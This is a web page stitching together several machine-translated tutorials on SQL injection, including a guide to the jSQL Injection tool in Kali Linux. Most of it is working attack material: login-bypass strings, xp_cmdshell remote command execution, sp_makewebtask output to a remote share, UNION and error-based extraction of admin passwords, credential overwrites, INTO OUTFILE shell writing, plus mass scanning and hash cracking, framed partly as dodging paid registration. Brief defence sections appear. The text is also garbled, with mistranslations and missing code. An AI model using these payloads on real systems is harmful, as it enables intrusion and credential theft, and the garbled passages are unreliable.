Download the sql injection search program. Instructions for using jSQL Injection, a multifunctional tool for finding and exploiting SQL injections in Kali Linux. File operations after SQL injection detection

SQL Injection quite a good opportunity for a hacker to get
access to the server. And with a little effort, he
still gets it :)

Coder inside

Nowadays, working with databases is supported
almost all programming languages, these include BASIC, C++, Java, PERL, PHP, Assembler and even JavaScript! And these programs are called nothing more than DBMS - database management systems. Databases are often used to solve financial problems,
accounting, personnel organization, but they have also found their application on the Internet.

Databases are often used to write WEB applications. Their use is most appropriate for storing user registration data, session identifiers, organizing searches, as well as other tasks requiring more processing
amount of data. To access the database, server technologies are used: PHP, PERL, ASP, etc. This is where the fun begins. When on the server
all patches are installed and the firewall blocks all ports except port 80 or when authentication is required to access some data, a hacker can use SQL Injection to hack. The essence of this attack is to exploit an error at the intersection of WEB technologies and SQL. The fact is that many web pages for processing user data form a special SQL database request. Careless use of this technique can lead to quite interesting results...

SQL Injection

To explain the attack, let’s imagine that you went to the site to download one very important tool and notice with horror that only a registered user can do this, and registration, of course, costs money 🙂 You don’t want to give away your last earned money, but you can’t do it without the program! It's time to remember how
access databases SQL. For example, checking your login and password in PHP may look like this:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

I added two comments, "AUTHENTICATION OK" - instead I should
go to the code that will be executed if the password and login are correct. Another "AUTHENTICATION ERROR" is a place where the code that will be executed if they are incorrect will be described. If you fill out the form, the request will look like “http://www.server.com?login=user&password=31337”, where www.server.com is the name
the server we are trying to connect to. We found what we were looking for, and therefore we will return to work again SQL. So, if you must specify a login and password for authorization, then the generated SQL the request will look like this:

SELECT * FROM users WHERE login="user" AND
password="31337"

This means something like this: return to me all records from the users database whose login is “user” and password is “31337”. If such a record exists, then the user is registered, but if not, then not... But under certain circumstances, everything can be corrected. This refers to the situation when the application does not check the contents of the transmitted data or does not check it completely for the presence SQL instructions. In this example, two fields login and password are checked, but if you specify "31337" AND email=" as the password [email protected]"(without double quotes), then the query will turn out a little different:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [email protected]"

And if the email field exists, this condition will also be checked. If you remember the basics of Boolean algebra, it comes to your mind that in addition to the “and” operation, there is also an “or”, and since their use is supported by SQL, you can
in the described way, add a condition that always returns true. To do this, you must specify “user” OR 1=1-- as the login, in which case the request will take the form:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

First you should know that "--" means the end of the request, and everything after the "--"
will not be processed! It turns out that we made a request:

SELECT * FROM users WHERE login="user" OR 1=1

As you can see, we added the condition “1=1”, which means the verification criterion will be “if the login is “user” or 1=1”, but 1 always equals 1 (the only exception can be Dani Shepovalov’s arithmetic :)). To check our suspicions
Enter "http://www.server.com?login=user or 1=1--&password=31337" in the address bar. This leads to the fact that it does not matter which login we specified, but
especially the password! And we are in the matrix, in the system, and can calmly download what we need.

But this is all in theory. In practice, we do not know how the request is formed, what data is transmitted and in what sequence. Therefore, you must specify "user" OR 1=1--" for all fields. You should also check the submission form for hidden fields. In HTML they are described as " ". If any exist, save the page and change the values ​​of these fields. The values ​​contained in them are often forgotten to be checked for the presence of SQL statements. But for everything to work, you should specify the full path to the script in the form ("FORM" tag) for the "ACTION" parameter, which processes this request.

But it is not always known how the request is formed,
The previous example could be formed in the following ways:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

In this case, you can try the following options:

"OR 1=1--
"OR 1=1--
OR 1=1--
" OR "a"="a
" OR "a"="a
") OR ("a"="a
OR "1"="1"

It all depends on the purpose of the script and on the programmer. Since each person tends to do everything in his own way, it is quite possible that the programmer will not choose the easiest option. Therefore you should not immediately
give up if you get rejected. Necessary
try as many options as possible...

Password detection

Bypassing authorization is not bad, but very often the hole you are using is closed, and everything that was available to you is lost.
This is to be expected if the programmer is not a fool
Over time it will close all the loopholes. You can easily get rid of such situations by taking care of it in advance. The correct solution may be to guess the password using
analysis of authentication results. First, let's try to guess the password, to do this, enter its location:

"OR password>"a

If we are told that authorization has been passed, then the password
does not begin with the letter "a", but with one of the following on the list. Let's move on and substitute
place "a", next "b", "c", "d", "e"... etc. until they tell us that the password is not correct. Let this process stop at the character “x”, in this case two options for the development of the situation are created: the password is found or the password starts with this character. To check the first option, write the password location:

"OR password="x

and if the password is accepted and you are allowed in, then you guessed the password! Well, no, then you should select the second character,
exactly the same, from the beginning. Check for two characters
need the same. In the end, you will receive a password, and you will look for a login in the same way :)
If the found password and login do not suit you, you can find others. To do this, you need to start checking from the last character of the found password. So, if the password was "xxx" it is necessary to check the existence of the password
"xxxy":

"OR password="xxx

so as not to miss out on more than one option!

MS SQL Server

MS SQL Server is generally a godsend if the necessary filtering is missed. Using the SQL Injection vulnerability you can execute
commands on the remote server using exec master..xp_cmdshell. But to use this design
the SELECT operation must be completed. In SQL, statements are separated by semicolons. Therefore, to connect to some IP via Telnet, you need to type the password/login:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server has several more interesting features that allow you to find out logins and passwords stored in the database. To do this, error output is redirected to an arbitrary server and through them
analysis, you can find out the name of the table, fields and their types. After which you can request

" UNION SELECT TOP 1 login FROM users--

(login is the name of the field containing the login, and users is the name of the table,
semi-scientists in the process of error analysis).

The answer might be:


Syntax error converting the nvarchar value "admin" to a column of data type int. !}
/default.asp, line 27

Now we know that there is a user named "admin". Now we can get his password:

" UNION SELECT TOP 1 password FROM users where login="admin"--

Result:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int. !}
/tedault.asp, line 27

Now we know that there is a user "admin" with a password "xxx". With this you can safely
use it and log in to the system 😉

But there are many other functions for working with SQL,
When working with a database, you can also delete data, modify it, insert your own, and even manipulate files and work with the registry.
In general, SQL Server rules :)

Protection

But of course all this can be avoided. To do this you can
use filters,
provided by manufacturers. You can find your own solutions, for example, replacing all single
double quotes (if for SQL request we use single ones), or vice versa. You can only allow the use of letters and s@baki, if you need to enter
email address. And in pearl there is an amazing
the 🙂 quote() function in the DBI::DBD module, which successfully makes your query safe with respect to SQL. There are many solutions, you just need them
take advantage of. Otherwise, why then all this...

SQL Injection for dummies, hacking ASP+MSSQL

Alexander Antipov

This article does not contain any new truths; SQL injection is widely described and used everywhere. The article is more intended for beginners, but perhaps professionals will be able to find one or two new tricks.


This article is intended to help newbies deal with the problems they may encounter when using the SQL Injection technique, use it successfully, and be able to protect themselves from such attacks.

Introduction

When the server of interest has only port 80 open, and the vulnerability scanner cannot report anything interesting, and you know that the system administrator always very quickly installs all patches on the web server, our last chance is web hacking. SQL injection is one of the types of web hacking that uses only port 80, and can work even if patches are installed in a timely manner. This attack is more aimed at web applications (such as ASP, JSP, PHP, CGI, etc.) than directly at the web server or services in the OS.

This article does not contain any new truths; SQL injection is widely described and used everywhere. The article is more intended for beginners, but perhaps professionals will be able to find one or two new tricks. I also recommend checking out the links at the end of the article for more detailed information from experts in the field.

1.1 What is SQL Injection?

SQL Injection is a method designed to inject SQL queries/commands through web pages. Many web pages use parameters presented to Web users and make an SQL query to the database. Let's take for example the case of a user login, when there is a web page with a name and password and an SQL query is made in the database to check whether there is a registered user with that name and password. Using SQL Injection, it is possible to send a made-up username and/or password field that modifies the SQL query, which can give us some interesting things.

2.0 What we should look for

Try to find pages that ask you for data, such as search page, discussion page, etc. Sometimes html pages use the POST method to send commands to another web page. In this case, you will not see parameters in the URL. However, in this case, you can look for the "FORM" tag in the HTML source code of the pages. You will find something like this:



All parameters between

And
could potentially be vulnerable to SQL injection.

2.1 What if you don't find a page that uses input?

Look for pages like ASP, JSP, CGI, or PHP Web pages. Try to find pages that use parameters like:

3.0. How can I check that what I found is vulnerable?

Try starting with a single quote. Enter the following line:

hi" or 1=1--

in the username or password field, or even in the URL parameter. Example:

Login: hi" or 1=1--
Pass: hi" or 1=1--
http://duck/index.asp?id=hi" or 1=1--

If you did this with a hidden field, just download the original HTML, save it to your hard drive, change the URL and hidden field accordingly. Example:



If luck is on your side, you will be able to log in without a username or password.

3.1 But why " or 1=1--?

Let's look at another example that explains the usefulness of the " or 1=1-- construct. In addition to bypassing the registration, we can also look at additional information that is not usually available. Consider an asp page that links to another page with the following URL:

http://duck/index.asp?category=food

In a URL, "category" is the name of the variable, and "food" is the value assigned to that variable. To do this, the asp page can contain the following code:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

As you can see, our variable will be combined with v_cat and thus the SQL query should become:

SELECT * FROM product WHERE PCategory="food"

This query must return a set containing one or more rows that match the WHERE clause, in this case "food". Now let's change the URL as follows:

http://duck/index.asp?category=food" or 1=1--
SELECT * FROM product WHERE PCategory="food" or 1=1--‘

This query will return all rows in the product table, regardless of whether Pcategory is "food" or not. The double dash "-" tells MS SQL Server to ignore the rest of the query that follows the single quote ("). Sometimes you can replace the double dash with a sharp "#".

However, if you are using a non-SQL server, or you can't ignore the rest of the query, try:

" or "a"="a

Now the SQL query will become:

SELECT * FROM product WHERE PCategory="food" or "a"="a"

This query will return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

"or 1=1--
"or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

4.0 How can I execute commands remotely using SQL injection?

The ability to enter an SQL command usually means that we can execute SQL queries at will. The default installation of MS SQL Server runs with system rights. We can call built-in procedures like master..xp_cmdshell to remotely execute arbitrary commands:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Try using double quotes (") if (") doesn't work.

The semicolon will end the current SQL query and allow you to run new SQL commands. To check if the command was successful, you can check the ICMP packets in 10.10.1.2 to see if they contain any packets from the vulnerable server:

http://site/?ID=31610

If you do not receive any ping request from the server, and receive an error message indicating a permission error, it is possible that the administrator has restricted the Web user's access to stored procedures.

5.0 How do I get the results of my SQL query?

You can use sp_makewebtask to write your request in HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

The specified IP must have a "share" folder with access for Everyone.

6.0 How to retrieve data from a database using ODBC error messages?

We can use information from the error message produced by the SQL server to retrieve any data. For example, consider the following page:

http://duck/index.asp?id=10

Now we will try to concatenate the integer '10' with another row in the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information from all tables on the server.

The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our request:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

This query will return the first name in the database. When we UNION this string value to the integer 10, MS SQL Server will try to convert the nvarchar string to an integer. This will throw an error saying it cannot convert nvarchar to int. The server will throw the following error:


Syntax error converting the nvarchar value "table1" to a column of data type int. !}
/index.asp, line 5

The error message contains information about a value that cannot be converted to an integer. In this case, we got the name of the first table - "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

We can also search for data using the LIKE key:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "admin_login" to a column of data type int. !} /index.asp, line 5

The corresponding construction "%25login%25" will be replaced with %login% in the SQL server. In this case, we will get the name of the table that matches the "admin_login" criterion.

6.1 How can I find out all the column names in a table?

We can use the INFORMATION_SCHEMA.COLUMNS table to display all the column names in the table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_id" to a column of data type int. !}
/index.asp, line 5

Now that we know the first column name, we can use NOT IN() to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_name" to a column of data type int. !}
/index.asp, line 5

Continuing we will get the rest of the column names i.e. "password", "details" until we get the following error.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. How do we get the data we need?

Now that we have identified some important tables, we can use the same technique to retrieve information from the database.

Let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "neo" to a column of data type int. !}
/index.asp, line 5

Now we know that there is an admin user with login name "neo". Finally we can get the password "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "m4trix" to a column of data type int. !}
/index.asp, line 5

Now we will be able to login as "neo" with the password "m4trix".

6.3 How to get the numeric value of a string?

There is a limitation in the method described above. We won't be able to get an error message if we try to convert text that consists of a number (only characters between 0...9). Now we will describe getting the password "31173" from the user "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

We will probably get a "Page Not Found" error. The reason is that the password "31173" will be converted to a number, before the UNION with an integer (in our case 10). Since the UNION expression is correct, the SQL server will not generate an error message, and thus we will not be able to obtain a numeric record.

To solve this problem, we can add a number string at the end with some letters to prevent the conversion from going through. Modified request:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

We simply use the plus sign (+) to append the password with any text (ASSCII encoding for "+" = 0x2b). Next, we'll append "%20morpheus" to the end of the actual password. So even if the password value is "31173", it will become "31173 morpheus". Manually calling the convert() function attempting to convert "31173 morpheus" to an integer, SQL Server will throw an ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int. !}
/index.asp, line 5

Now we will be able to login as "trinity" with the password "31173".

7.0 How to modify/insert data into the database?

Once we have got the names of everyone by column in the table, we can update (UPDATE) or even insert (INSERT) a new record into the table. For example, we can change the password for "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Now we will be able to login as "neo" with the password "newpas5".

8.0 How to avoid SQL Injection?

Filter special characters in all lines in:

Any data entered by the user
- URL parameters
- Cookie

For numeric values, convert them to integer before passing them to the SQL query. Or use ISNUMERIC to make sure it is an integer.

Run SQL Server as an unprivileged user.

Remove unused stored procedures: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Run the downloaded file by double clicking (you need to have a virtual machine).

3. Anonymity when checking a site for SQL injection

Setting up Tor and Privoxy in Kali Linux

[Section under development]

Setting up Tor and Privoxy on Windows

[Section under development]

Proxy settings in jSQL Injection

[Section under development]

4. Checking the site for SQL injection with jSQL Injection

Working with the program is extremely simple. Just enter the website address and press ENTER.

The following screenshot shows that the site is vulnerable to three types of SQL injections at once (information about them is indicated in the lower right corner). By clicking on the names of injections, you can switch the method used:

Also, the existing databases have already been displayed to us.

You can view the contents of each table:

Typically, the most interesting thing about tables is the administrator credentials.

If you are lucky and you find the administrator’s data, then it’s too early to rejoice. You still need to find the admin panel where to enter this data.

5. Search for admin panels with jSQL Injection

To do this, go to the next tab. Here we are greeted with a list of possible addresses. You can select one or more pages to check:

The convenience lies in the fact that you do not need to use other programs.

Unfortunately, there are not very many careless programmers who store passwords in clear text. Quite often in the password line we see something like

8743b52063cd84097a65d1633f5c74f5

This is a hash. You can decrypt it using brute force. And... jSQL Injection has a built-in brute forcer.

6. Brute force hashes using jSQL Injection

The undoubted convenience is that you do not need to look for other programs. There is support for many of the most popular hashes.

This is not the best option. In order to become a guru in decoding hashes, the Book “” in Russian is recommended.

But, of course, when there is no other program at hand or there is no time to study, jSQL Injection with its built-in brute force function will come in very handy.

There are settings: you can set which characters are included in the password, the password length range.

7. File operations after detecting SQL injections

In addition to operations with databases - reading and modifying them, if SQL injections are detected, the following file operations can be performed:

  • reading files on the server
  • uploading new files to the server
  • uploading shells to the server

And all this is implemented in jSQL Injection!

There are restrictions - the SQL server must have file privileges. Smart system administrators have them disabled and will not be able to gain access to the file system.

The presence of file privileges is quite simple to check. Go to one of the tabs (reading files, creating a shell, uploading a new file) and try to perform one of the specified operations.

Another very important note - we need to know the exact absolute path to the file with which we will work - otherwise nothing will work.

Look at the following screenshot:

To any attempt to operate on a file, we receive the following response: No FILE privilege(no file privileges). And nothing can be done here.

If instead you have another error:

Problem writing into [directory_name]

This means that you incorrectly specified the absolute path where you want to write the file.

In order to guess an absolute path, you need to at least know the operating system the server is running on. To do this, switch to the Network tab.

Such a record (line Win64) gives us reason to assume that we are dealing with Windows OS:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Connection: Keep-Alive Method: HTTP/1.1 200 OK Content-Length: 353 Date: Fri, 11 Dec 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Here we have some Unix (*BSD, Linux):

Transfer-Encoding: chunked Date: Fri, 11 Dec 2015 11:57:02 GMT Method: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

And here we have CentOS:

Method: HTTP/1.1 200 OK Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Connection: keep-alive X-Cache-Lookup: MISS from t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS from t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Fri, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

On Windows, a typical folder for sites is C:\Server\data\htdocs\. But, in fact, if someone “thought of” making a server on Windows, then, very likely, this person has not heard anything about privileges. Therefore, you should start trying directly from the C:/Windows/ directory:

As you can see, everything went fine the first time.

But the jSQL Injection shells themselves raise doubts in my mind. If you have file privileges, then you can easily upload something with a web interface.

8. Mass checking of sites for SQL injections

And even this function is available in jSQL Injection. Everything is extremely simple - download a list of sites (you can import from a file), select those that you want to check and click the appropriate button to start the operation.

Conclusion from jSQL Injection

jSQL Injection is a good, powerful tool for searching and then using SQL injections found on websites. Its undoubted advantages: ease of use, built-in related functions. jSQL Injection can be a beginner's best friend when analyzing websites.

Among the shortcomings, I would note the impossibility of editing databases (at least I did not find this functionality). As with all GUI tools, one of the disadvantages of this program can be attributed to its inability to be used in scripts. Nevertheless, some automation is also possible in this program - thanks to the built-in function of mass site checking.

The jSQL Injection program is much more convenient to use than sqlmap. But sqlmap supports more types of SQL injections, has options for working with file firewalls and some other functions.

Bottom line: jSQL Injection is a novice hacker's best friend.

Help for this program in the Kali Linux Encyclopedia can be found on this page: http://kali.tools/?p=706

Greetings, reader. Lately, I've been interested in Web security, and to some extent my work is related to this. Because More and more often I began to notice topics on various forums asking them to show how it all works, so I decided to write an article. The article will be aimed at those who have not encountered this, but would like to learn. There are relatively many articles on this topic on the Internet, but for beginners they are a little complicated. I will try to describe everything in clear language and detailed examples.

Preface

In order to understand this article, you don’t really need knowledge of the SQL language, but at least good patience and a little brain for memorization.

I believe that just reading the article will not be enough, because... we need living examples - as you know, practice, in the process of memorization, is never superfluous. Therefore, we will write vulnerable scripts and train on them.

What is SQL injection?
In simple terms, this is an attack on the database, which will allow you to perform some action that was not planned by the creator of the script. Example from life:

Father wrote in a note to his mother to give Vasya 100 rubles and put it on the table. Reworking this into a comic SQL language, we get:
TAKE 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya

Since the father wrote the note poorly (Clumsy handwriting) and left it on the table, Vasya’s brother Petya saw it. Petya, being a hacker, added “OR Pete” there and the result was the following request:
TAKE 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya OR Petya

Mom, after reading the note, decided that she gave money to Vasya yesterday and gave 100 rubles to Petya. Here is a simple example of SQL injection from life:) Without filtering the data (Mom could barely understand the handwriting), Petya made a profit.

Preparation
For practice, you will need an archive with the source scripts for this article. Download it and unpack it on the server. Also import the database and set the data in the file cfg.php

Search SQL injection

As you already understood, the injection comes from incoming data that is not filtered. The most common mistake is not filtering the transmitted ID. Well, roughly speaking, put quotes in all fields. Be it a GET/POST request or even a Cookie!

Numeric input parameter
For practice we need a script index1.php. As I said above, we insert quotes into the news ID.

Because Our request has no filtering:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

The script will understand this as

SELECT * FROM news WHERE id=1"

And it will give us an error:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

If the error does not appear, there may be the following reasons:

1.SQL injection is not here - quotes are filtered, or it’s just worth converting to (int)
2. Error output is disabled.

If you still get an error - Hurray! We found the first type of SQL injection - Numeric input parameter.

String input parameter

We will send requests to index2.php. In this file, the request looks like:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Here we select news by username, and again, we do not filter.
Again we send a request with a quote:

It gave an error. OK! This means there is a vulnerability. For starters, that's enough for us - let's get to practice.

Let's take action

A little theory

You probably can’t wait to get something out of this other than mistakes. First, understand that the sign " -- " is considered a comment in SQL.

ATTENTION! There must be spaces before and after it. In the URL they are transmitted as %20

Everything that comes after the comment will be discarded. That is, the request:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

It will succeed. You can try this on the index2.php script by sending a request like this:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Learn the parameter UNION. In SQL language the keyword UNION used to combine the results of two SQL queries into a single table. That is, in order to pull out something we need from another table.

Let's take advantage of it

If the parameter is “Numeric”, then we do not need to send a quote in the request and naturally put a comment at the end. Let's go back to the script index1.php.

Let's turn to the script sqlinj/index1.php?id=1 UNION SELECT 1 . Our database query looks like this:
SELECT * FROM news WHERE id=1 UNION SELECT 1
And he gave us an error, because... to work with merging queries, we need the same number of fields.

Because We cannot influence their number in the first request, then we need to select their number in the second so that it is equal to the first.

Selecting the number of fields

Selecting fields is very simple, just send the following requests:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Error…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Error again!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
No error! This means the number of columns is 5.

GROUP BY
It often happens that there can be 20 or 40 or even 60 fields. So that we don’t have to sort through them every time, we use GROUP BY

If the request
sqlinj/index1.php?id=1 GROUP BY 2
didn’t show any errors, which means the number of fields is more than 2. Let’s try:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, we see an error, it means the number of fields is less than 8.

If there is no error with GROUP BY 4, and with GROUP BY 6 there is an error, then the number of fields is 5

Defining Output Columns
To ensure that nothing is displayed to us from the first request, it is enough to substitute a non-existent ID, for example:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

With this action, we determined which columns are displayed on the page. Now, in order to replace these numbers with the necessary information, you need to continue the request.

Data output

Let's say we know that the table still exists users in which the fields exist id, name And pass.
We need to get Information about the user with ID=1

Therefore, let's build the following query:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
The script also continues to output

To do this, we will substitute the names of the fields in place of the numbers 1 and 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
We got what we needed!

For "string input parameter" as in script index2.php you need to add a quotation mark at the beginning and a comment mark at the end. Example:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Read/Write Files

To read and write files, the database user must have FILE_PRIV rights.
Recording files
In fact, everything is very simple. To write a file, we will use the function OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Great, the file has been registered with us. Thus, We can fill the mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Reading files
Reading files is even easier than writing. It is enough to simply use the function LOAD_FILE, for the place of the field that we select:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Thus, we have read the previous written file.

Methods of protection

Protecting yourself is even easier than exploiting a vulnerability. Just filter the data. If you are passing numbers, use
$id = (int) $_GET["id"];
As user malroc suggested. Protect yourself using PDO or prepared statements.

Instead of completing

This is where I want to finish my first part about “SQL injection for beginners”. In the second we will look at more severe examples of injections. Try writing vulnerable scripts and executing queries yourself.
And remember, do not trust any user of your site.

SQL injection is an attack that exploits dynamic SQL statements by commenting out certain parts of statements or adding a condition that will always be true. It targets holes in web application architecture and uses SQL statements to execute malicious SQL code:

In this article, we will look at the techniques used in SQL injections and how to protect web applications from such attacks.

How SQL injection works

The types of attacks that can be carried out using SQL injection vary based on the type of database engines that are affected. The attack targets dynamic SQL statements. A dynamic statement is a statement that is created at run time based on parameters from a web form or URI query string.

Consider a simple web application with a login form. The HTML form code is below:

  • The form accepts an email address and then the password is sent to a PHP file called index.php;
  • The session is stored in a cookie. This feature is enabled by checking the remember_me flag. The post method is used to send data. This means that the values ​​are not displayed in the URL.

Let's assume that the request to check the user ID on the server side looks like this:

  • The request uses the values ​​of the $_POST array directly without sanitizing it;
  • The password is encrypted using the MD5 algorithm.

We will look at an attack using SQL injection sqlfiddle. Open the URL http://sqlfiddle.com/ in your browser. The following window will appear on the screen.

Note: You will need to write SQL statements:

Step 1: Enter this code in the left panel:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ​​(" [email protected]",md5("abc"));

Step 2: Click the button Build Schema».
Step 3: Enter the below code in the right pane:

select * from users;

Step 4: Click " Run SQL" You will see the following result:

Let's assume the user provides an email address [email protected] and 1234 as the password. The query that needs to be executed on the database might look like this:

The example SQL injection code above can be bypassed by commenting out part of the password and adding a condition that will always be true. Let's assume that an attacker inserts the following data into the email address field:

[email protected]" OR 1 = 1 LIMIT 1 -- " ]

and xxx in the password field.

The generated dynamic statement will look like this:

  • [email protected] ends with a single quote, which terminates the string;
  • OR 1 = 1 LIMIT 1 is a condition that will always be true and limits the results returned to just one record.

0; ‘ AND ... is an SQL comment that excludes the password part.

Copy the above query and paste it into the FiddleRun SQL text box as shown below:

Hacker activity: SQL injections into web applications

We have a simple web application available at http://www.techpanda.org/ that is specifically made vulnerable to SQL injection attacks for beginners for demonstration purposes. The HTML form code given above is taken from the authorization page of this application.

It provides basic security such as email field sanitization. This means that the above code cannot be used to bypass this mechanism.

To bypass this, you can use a password field. The diagram below shows the steps you need to follow:

Let's assume that the attacker provides the following data:

Step 1: Enter [email protected] as an email address;
Step 2: Enter xxx’) OR 1 = 1 - ] ;

Clicks the “Submit” button.

It will be sent to the administration panel. The generated query will look like this:

The diagram below shows how the request was generated:

Here:

  • The request assumes that md5 encryption is used;
  • A closing single quote and parenthesis are used;
  • A condition is added to the operator that will always be true.

Typically, attackers try to use several different methods in an SQL injection attack to achieve their goals.

Other types of SQL injection attacks

SQL injections can cause much more damage than logging into a system by bypassing the authorization mechanism. Some of these attacks may:

  • Perform data deletion;
  • Perform data update;
  • Add data;
  • Execute commands on the server that will download and install malicious programs;
  • Export valuable data such as credit card details, email and passwords to the attacker's remote server.

The above list is not complete. It simply gives an idea of ​​the dangers SQL injections pose.

Tools for automating SQL injections

In the above example, we used manual attack methods. Before performing an SQL injection, you need to understand that there are automated tools that allow you to carry out attacks more efficiently and quickly:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

How to prevent SQL injections

Here are a few simple rules to protect against SQL injection attacks:

User input should not be trusted. It always needs to be sanitized before the data is used in dynamic SQL operations.

Stored procedures- They can encapsulate SQL queries and process all input data as parameters.

Prepared queries- queries are first created, and then all provided user data is processed as parameters. This does not affect the SQL statement syntax.

Regular Expressions- can be used to detect potentially malicious code and remove it before executing SQL statements.

Access rights to connect to the database- to protect against SQL injections, the accounts that are used to connect to the database should be granted only the necessary access rights. This will help limit the actions that SQL statements can perform on the server.

Error messages- must not disclose confidential information. Simple custom error messages such as " Sorry, there was a technical error. The support team has already been notified about it. Please try again later" can be used instead of displaying the SQL queries that caused the error.